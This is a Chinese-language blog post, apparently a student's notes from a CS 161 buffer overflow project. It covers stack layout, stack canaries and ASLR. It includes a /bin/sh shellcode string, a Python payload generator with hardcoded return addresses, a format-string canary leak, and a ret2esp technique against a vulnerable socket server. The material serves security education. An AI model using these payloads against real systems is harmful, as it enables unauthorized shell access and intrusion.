Buffer Overflow

前言

CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.

這個project 1做的我心態(tài)爆炸

感覺自己還是不是很懂匯編指令 特別是esp寄存器

基本知識介紹

stackStructure.png

上圖是linux x86系列的內(nèi)存結(jié)構(gòu)。stack向下生長,環(huán)境變量和Stack被視為相同的數(shù)據(jù)。

最底下的是文本代碼段,存儲著程序的匯編代碼。Static data segment存放著未賦值和賦值過的靜態(tài)變量。

Heap主要是程序中動態(tài)申請的內(nèi)存空間。

stackStructureInDetail.png
runtimeStack.png

上面兩圖顯示了函數(shù)調(diào)用中相關(guān)的一些寄存器和地址內(nèi)容。

最基本的涉及三個寄存器

esp (stack pointer): 指向函數(shù)頂?shù)募拇嫫?,處于?nèi)存底部(棧的頂部)

ebp (base pointer/saved frame pointer):指向函數(shù)底的的寄存器,處于內(nèi)存頂部(棧的底部)

eip (instruction pointer): 指向文本區(qū)的下一個指令

還有一些其他的重要指針比如rip (return instruction pointer) 指向的是函數(shù)返回的地址。

在函數(shù)運行的時候,esp不斷向上的pop

到return address時根據(jù)rip值跳轉(zhuǎn)

接下來介紹緩沖區(qū)buffer/字符串

如下圖的user,在c語言即

char a[20];

長度固定。

在程序運行時開拓一段空間

buffer向上生長,小index在下,大index在上

所有函數(shù)調(diào)用的時候,ebp和esp都會經(jīng)過這樣的操作:

0x0804840c <+0>:    push   %ebp
0x0804840d <+1>:    mov    %esp,%ebp
0x0804840f <+3>:    sub    $0x28,%esp

簡單的意思是

  1. 壓入ebp
  2. 讓ebp等于esp
  3. 讓esp到ebp下面x個字節(jié)的位置x與函數(shù)內(nèi)容有關(guān),但是必然是字的整數(shù)倍。x86架構(gòu)時4n,x64架構(gòu)是8n。

基本的buffer overflow

buffer overflow的意思即是在buffer沒有做到良好保護的時候,通過緩沖區(qū)溢出覆蓋內(nèi)存從而改變代碼走向,并且做出攻擊。

假如我的代碼是這樣

//dejavu.c
#include <stdio.h>
void deja_vu()
{
    char door[8];
    gets(door);
}

int main()
{
    deja_vu();
    return 0;
}

通過gdb,我們可以發(fā)現(xiàn)一些關(guān)鍵的地址

(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d <deja_vu+17>: 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f <main>:   0x83e58955
(gdb) x $ebp +4
0xbffffabc: 0x0804842a

可以發(fā)現(xiàn)

rip($ebp+4)指向的是main函數(shù)中的一個地址,即返回地址

$eip指向的是文本區(qū)中的一個地址

door在ebp和esp中間

door離ebp有0x10的距離

具體的看應(yīng)該是

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0xb7fed200  0x00000000
0xbffffab8: 0xbffffac8  0x0804842a  0x08048440  0x00000000

其中0x41是我的合法輸入AAAAAAAA

內(nèi)存結(jié)構(gòu)大概時這樣

dejavu.png

那么如果我的輸入不合法呢?比如對于上面那段代碼,我輸入了很多A,那么內(nèi)存結(jié)構(gòu)大概是

dejavu_invalidA.png

可以看見我們將rip和ebp原本的數(shù)值覆蓋掉了。這時如果要返回,查看rip發(fā)現(xiàn)地址是0x41414141然后發(fā)現(xiàn)那個地址沒有任何有意義的地址與指令于是拋出段錯誤

輸入:AAAAAAAAAAAAAAAA

之后查看gdb

(gdb) x/8wx door
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414141  0x41414141  0x08048400  0x00000000

發(fā)現(xiàn)所有東西都被改掉了,程序拋出段錯誤,崩潰

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

可以看到程序試圖區(qū)尋找0x41414141的數(shù)據(jù),發(fā)現(xiàn)無意義

無防御機制的攻擊

無意義的數(shù)據(jù)只會使程序崩潰,但是如果數(shù)據(jù)有意義呢?

但是如果我們能夠?qū)⒊绦驅(qū)胛覀兊挠幸饬x的惡意代碼呢

我們將這種可執(zhí)行代碼稱為shell code('shell code' contains 'hell code', you know)

shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users 

*注意這是一個小端排序(little-endian)的程序,所以其實內(nèi)存中會是

0x895e1feb...

我們通過棧溢出將我們的可執(zhí)行代碼塞入內(nèi)存中,并且通過改變rip的數(shù)據(jù)(返回地址)去讓程序執(zhí)行我們的惡意代碼。

#!/usr/bin/env python

# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"

shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)

*\x90沒什么特別的1意義,只是為了填滿buffer。讓buffer被其他的字符,如\x41,填滿也ok

然后將這段導(dǎo)入另一個文件中

./egg > shellcode

然后再執(zhí)行程序時將其導(dǎo)入并且gdb,我們就會發(fā)現(xiàn)

(gdb) x/30wx door
0xbffffaa8: 0x90909090  0x90909090  0xb7fed200  0x00000000
0xbffffab8: 0xbffff6f8  0xbffffac8  0x08048440  0x00000000
0xbffffac8: 0x895e1feb  0xc0310876  0x89074688  0x0bb00c46
0xbffffad8: 0x4e8df389  0x0c568d08  0xdb3180cd  0xcd40d889
0xbffffae8: 0xffdce880  0x622fffff  0x732f6e69  0xb7fd0068
0xbffffaf8: 0x00000000  0x00000000  0x00000000  0xef5b7982
0xbffffb08: 0xd807fd92  0x00000000  0x00000000  0x00000000
0xbffffb18: 0x00000001  0x08048320

我們可以看到rip已經(jīng)被改變了,而rip指向的地址早已被我們改成了我們的shell code

程序在結(jié)束的時候調(diào)用ret指令,ret會根據(jù)rip的地址進行返回跳轉(zhuǎn),由于我們將rip該到了shell code的首地址,程序”返回“到我們的shell code位置并且開始執(zhí)行shell code的指令,由于我們的shell code的意思時獲得權(quán)限,那么我們也可以說是攻入對方系統(tǒng)。

dejavu_shellcode.png

包括如果對方將秘密函數(shù)(比如一個刪數(shù)據(jù)庫跑路的函數(shù))寫在代碼中,也可以通過”返回“到秘密函數(shù)執(zhí)行秘密函數(shù)

環(huán)境變量攻擊

有的時候即使沒有一些額外的防御機制,我們的shellcode也會收到限制,比如

  1. 程序員進行了一定的邊界檢查(雖然并沒有檢查完全)導(dǎo)致你能操控的字節(jié)數(shù)有限(一到二個字節(jié))

    比如下面這段代碼

    void flip(char *buf, const char *input)
    {
        //char buf[64];
        //we can input via stdin
      size_t n = strlen(input);
      int i;
      for (i = 0; i < n && i <= 64; ++i)
        buf[i] = input[i] ^ (1u << 5);
    
      while (i < 64)
        buf[i++] = '\0';
    }
    

    我能溢出的只有buf+64這一個字節(jié)

  2. 程序內(nèi)只使用了環(huán)境變量和給黑客控制環(huán)境變量的空間但是并沒有用戶輸入的內(nèi)容,我們無法將shellcode通過文件和stdin輸入其中

這時單純的寫入shellcode有點不現(xiàn)實,但是我們可以將shellcode放入環(huán)境變量中。程序執(zhí)行的時候,環(huán)境變量位于Stack上方。并且環(huán)境變量可以與main函數(shù)的參數(shù)等同(實際上就是main函數(shù)的參數(shù))。

我們可以讓rip返回到環(huán)境變量的地址處并且執(zhí)行shellcode

(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"

有防御機制的攻擊

Canary(金絲雀)

canary源于17世紀(jì)英國工人對瓦斯的檢查方式。由于金絲雀比人類對瓦斯更加敏感,英國工人通過金絲雀的行為(包括是否死亡)探測是否有大量的瓦斯。

由于上述的buffer overflow方法基于修改rip值,如果在ebp下面放一個字作為canary。canary(Debian系統(tǒng)實現(xiàn))始于NUL(\x00),其他三個字節(jié)為隨機數(shù)。起始的NUL可以阻擋攻擊者讀入canary(字符串的結(jié)束符號)

canary的另一部分放在gs寄存器中

在程序調(diào)用結(jié)束之前leave ret之前檢查棧上的canary與寄存器中的canary是否相等,如果相等則沒有認(rèn)為沒有發(fā)生buffer overflow,否則發(fā)現(xiàn)stack smashing并且調(diào)用__stack_chk_fail函數(shù)中斷程序

觀察下面的開啟Canary機制的程序

#define BUFLEN 16

#include <stdio.h>
#include <string.h>

int nibble_to_int(char nibble) {
    if ('0' <= nibble && nibble <= '9') return nibble - '0';
    else return nibble - 'a' + 10;
}

void dehexify() {
    char buffer[BUFLEN];
    char answer[BUFLEN];
    int i = 0, j = 0;

    gets(buffer);

    while (buffer[i]) {
        if (buffer[i] == '\\' && buffer[i+1] == 'x') {
            int top_half = nibble_to_int(buffer[i+2]);
            int bottom_half = nibble_to_int(buffer[i+3]);
            answer[j] = top_half << 4 | bottom_half;
            i += 3;
        } else {
            answer[j] = buffer[i];
        }
        i++; j++;
    }

    answer[j] = 0;
    printf("%s\n", answer);
    fflush(stdout);
}

int main() {
    while (!feof(stdin)) {
        dehexify();
    }
}

觀察函數(shù)dehexify匯編碼

(gdb) disassemble dehexify 
Dump of assembler code for function dehexify:
//函數(shù)初始化
   0x0804853d <+0>: push   %ebp
   0x0804853e <+1>: mov    %esp,%ebp
   0x08048540 <+3>: sub    $0x38,%esp
//%gs:0x14存的就是canary的值,并且將其插入$ebp-4的位置)
   0x08048543 <+6>: mov    %gs:0x14,%eax
   0x08048549 <+12>:    mov    %eax,-0x4(%ebp)
   0x0804854c <+15>:    xor    %eax,%eax
...
   0x08048617 <+218>:   mov    -0x4(%ebp),%eax
//將canary從%gs:0x14拿出并且與放入的canary進行比對。如果相同則跳轉(zhuǎn)到函數(shù)+235處(正常離開),否則調(diào)用函數(shù)__stack_chk_fail,拋出異常

   0x0804861a <+221>:   xor    %gs:0x14,%eax
   0x08048621 <+228>:   je     0x8048628 <dehexify+235>
   0x08048623 <+230>:   call   0x8048400 <__stack_chk_fail@plt>
   0x08048628 <+235>:   leave  
   0x08048629 <+236>:   ret    

輸入正常字符串AAAAAAAAAAAAAAAA后觀察棧

(gdb) x/30wx answer
0xbffffaa8: 0x41414141  0x41414141  0x41414141  0x41414141
0xbffffab8: 0x41414100  0x41414141  0x41414141  0x41414141
0xbffffac8: 0x5bb90c00  0xbffffad8  0x08048637  0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc

易知在ebp和我們自己的數(shù)據(jù)(buffer)中隔了一個字的canary,其起始字符為NUL(\x00)

*(看上去是最后一個字節(jié),但是這個時小端序所以反而是第一個字節(jié))

如果輸入非法字符串如

AAAAAAAAAAAAAAAAA(17個A)

(gdb) x/30wx buffer 
0xbffffab8: 0x41410041  0x41414141  0x41414141  0x41414141
0xbffffac8: 0xe7590041  0xbffffad8  0x08048637  0xb7fd2ac0
0xbffffad8: 0x00000000  0xb7e454d3  0x00000001  0xbffffb74
0xbffffae8: 0xbffffb7c  0xb7fdc858  0x00000000  0xbffffb1c
0xbffffaf8: 0xbffffb7c  0x00000000  0x08048288  0xb7fd2000
0xbffffb08: 0x00000000  0x00000000  0x00000000  0xead1f830
0xbffffb18: 0xdd8d1c20  0x00000000  0x00000000  0x00000000
0xbffffb28: 0x00000001  0x08048450

最后的結(jié)果會是

*** stack smashing detected ***: /home/jz/agent-jz terminated

Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb) 

攻擊方式

printf格式化攻擊

//test.c
void invoker(){
    char buffer[16];
    gets(buffer);as
    printf(buffer);
}

int main(void){
    invoker();
}

編譯一下

gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c

之后用objdump查看匯編碼


0804848c <invoke>:
 804848c:   55                      push   %ebp
 804848d:   89 e5                   mov    %esp,%ebp
 804848f:   83 ec 68                sub    $0x68,%esp
 8048492:   65 a1 14 00 00 00       mov    %gs:0x14,%eax
 8048498:   89 45 f4                mov    %eax,-0xc(%ebp)
 804849b:   31 c0                   xor    %eax,%eax
 804849d:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484a0:   89 04 24                mov    %eax,(%esp)
 80484a3:   e8 b8 fe ff ff          call   8048360 <gets@plt>
 80484a8:   8d 45 b4                lea    -0x4c(%ebp),%eax
 80484ab:   89 04 24                mov    %eax,(%esp)
 80484ae:   e8 9d fe ff ff          call   8048350 <printf@plt>
 80484b3:   8b 45 f4                mov    -0xc(%ebp),%eax
 80484b6:   65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 80484bd:   74 05                   je     80484c4 <invoke+0x38>
 80484bf:   e8 ac fe ff ff          call   8048370 <__stack_chk_fail@plt>
 80484c4:   c9                      leave  
 80484c5:   c3                      ret    

我們查看一下$ebp-0xc的數(shù)據(jù)

(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00

可以確定這就是canary了

我們的格式化是從esp開始數(shù),所以我們要確定從esp到canary有多少個字

(gdb) x $esp
0xbffff680: 0xbffff69c

(0xdc-0x80)/4 = 23(10 based)

所以我們的輸入可以時%23$x

然后就會發(fā)現(xiàn)

(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary 
%23$x
a1116800[Inferior 1 (process 10311) exited normally]

成功拉出canary

ASLR(地址空間布局隨機化)

Address Space Layout Randomization是一種防止攻擊的很好的方法。上述的各種方法都是基于內(nèi)存布局是固定的。我們需要一個固定的絕對地址去使我們的rip跳轉(zhuǎn)到我們的shell code。但是如果每次程序運行時,其分布不完全固定而是隨機的,那么我們無法固定地址,從而難以攻擊。

ASLR只打亂Stack區(qū)和lib,其他的如Heap和Text區(qū)并不會被打亂

攻擊方式

ret2ret

每當(dāng)我們執(zhí)行ret指令時,我們實際上都在執(zhí)行

pop eip

ASLR只會隨機化棧區(qū),但是文本段并不會。所以每回運行時,文本區(qū)都是固定的,ret的地址都是可以被找到的

esp所指向的地址的數(shù)據(jù)被eip覆蓋

每當(dāng)調(diào)用一次ret

esp都會+4(1個字)

ret2retbefore.png

ret2retafter.png

我們可以通過這種方式將esp"抬到"指向我們shellcode的一個指針,然后通過通過這個指針執(zhí)行我們的shellcode

ret2pop

不是很熟,但是應(yīng)該和ret2ret差不多。只不過pop可以跳過某些區(qū)域

ret2esp

ret2esp是個很有意思的方法,因為他要求的指令gcc并不提供。

它需要jmp * esp,其匯編碼為0xffe4

這個指令可以跳轉(zhuǎn)到esp,從而我們可以使esp指向我們的shellcode并且執(zhí)行我們的shellcode。

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>

#define BUFSIZE 3520

unsigned int magic(unsigned int i, unsigned int j)
{
  i ^= j << 3;
  j ^= i << 3;
  i |= 58623;
  j %= 0x42;
  return i & j;
}

void error(const char *msg)
{
  fprintf(stderr, "error: %s\n", msg);
  exit(1);
}

ssize_t io(int socket, size_t n, char *buf)
{
  recv(socket, buf, n << 3, MSG_WAITALL);
  size_t i = 0;
  while (buf[i] && buf[i] != '\n' && i < n)
    buf[i++] ^= 0x42;
  return i;
  send(socket, buf, n, 0);
}

void handle(int client)
{
  char buf[BUFSIZE];
  memset(buf, 0, sizeof(buf));
  io(client, BUFSIZE, buf);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
  {
    fprintf(stderr, "usage: %s port\n", argv[0]);
    return 1;
  }

  int srv = socket(AF_INET, SOCK_STREAM, 0);
  if (srv < 0)
    error("socket()");

  int on = 1;
  if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
    error("setting SO_REUSEADDR failed");

  struct sockaddr_in server, client;
  memset(&server, 0, sizeof(server));
  server.sin_family = AF_INET;
  server.sin_addr.s_addr = INADDR_ANY;
  server.sin_port = htons(atoi(argv[1]));

  if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
    error("bind()");

  if (listen(srv, 5) < 0)
    error("listen()");

  socklen_t c = sizeof(client);
  int client_socket;
  for (;;)
  {
    if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
      error("accept()");
    handle(client_socket);
    close(client_socket);
  }

  return 0;
}                     

這段代碼非常復(fù)雜,但是我們簡單分析就可以發(fā)現(xiàn)

  1. magic卵用沒有
  2. io函數(shù)會有緩沖區(qū)溢出
  3. 緩沖區(qū)在handle函數(shù)中,而handle函數(shù)調(diào)用io函數(shù)。說明緩沖區(qū)在io函數(shù)的上面,二緩沖區(qū)溢出是從下到上的過程。所以這個緩沖區(qū)溢出只能控制handle函數(shù)而不是io函數(shù)

然后我們可以查看一下magic函數(shù)(因為卵用沒有)

(gdb) x/30wx *magic
0x8048604 <magic>:  0x8be58955  0xe0c10c45  0x08453103  0xc108458b
0x8048614 <magic+16>:   0x453103e0  0x084d810c  0x0000e4ff  0xba0c4d8b
0x8048624 <magic+32>:   0x3e0f83e1  0xe2f7c889  0xe8c1d089  0x89c00104
0x8048634 <magic+48>:   0x05e2c1c2  0xca89d001  0xd089c229  0x8b0c4589
0x8048644 <magic+64>:   0x558b0c45  0x5dd02108  0xe58955c3  0xba18ec83
0x8048654 <error+7>:    0x080489b0  0x04a03ca1  0x084d8b08  0x08244c89
0x8048664 <error+23>:   0x04245489  0xe8240489  0xfffffe70  0x012404c7
0x8048674 <error+39>:   0xe8000000  0xfffffe44

發(fā)現(xiàn)有一個0x0000e4ff由于是小端序,這就是ffe4

然后我們就可以把rip改為這個指令并且在其上面放我們的shellcode。

此時當(dāng)jmp * esp執(zhí)行的時候,esp指向shellcode,從而我們的shellcode可以被執(zhí)行

ret2esp.png

執(zhí)行異或

內(nèi)存的每一塊只允許被寫入或者被執(zhí)行,不可能即被寫入又被執(zhí)行

讀完這篇文章你就會知道

  1. 搞事精和點子王都很會玩
  2. Microsoft家的c/c++編譯器重寫string.h文件中的函數(shù)并且逼著你使用scanf_s/strcpy_s/blabla的良苦用心
  3. 請一個傻吊一樣的永遠不寫安全的邊界檢測的程序員的下場
  4. 為什么不要使用C/C++(雖然我這么說你還是會用,對吧)
  5. 對一些project掉以輕心以為自己三天就能寫完這個只有五題project結(jié)果最后搞到心態(tài)爆炸的下場
  6. 做這種project之前一定不要奶這題很簡單之類的
  7. 為什么說用strcpy和gets這樣的函數(shù)要謹(jǐn)慎一點
  8. 三天肝project是可以肝出東西的
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 原文地址:C語言函數(shù)調(diào)用棧(一)C語言函數(shù)調(diào)用棧(二) 0 引言 程序的執(zhí)行過程可看作連續(xù)的函數(shù)調(diào)用。當(dāng)一個函數(shù)執(zhí)...
    小豬啊嗚閱讀 4,956評論 1 19
  • 一、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運行的地址不確定 關(guān)于...
    SeanCST閱讀 8,107評論 0 27
  • 這幾天有朋友反映給小編說讓多發(fā)點關(guān)于面試的文章,小編深知從事IT行業(yè)的難處,跳槽多,加班多,薪資不樂觀,大多數(shù)朋友...
    諸葛青云999閱讀 10,255評論 0 6
  • (萬尚學(xué)習(xí)會)打卡第123天 姓名:徐娟 部門:人事部 組別:待定 【知~學(xué)習(xí)】 《京瓷哲學(xué)》第一章“度過美好的人...
    徐娟Wellin閱讀 196評論 0 0
  • 為你點贊!快遞小哥 今天在醫(yī)院陪兒子打點滴期間,擔(dān)心影響病房里其他患者和家屬。我把手機調(diào)靜音模式了。 等我得閑時打...
    吾言的簡書閱讀 364評論 1 1

友情鏈接更多精彩內(nèi)容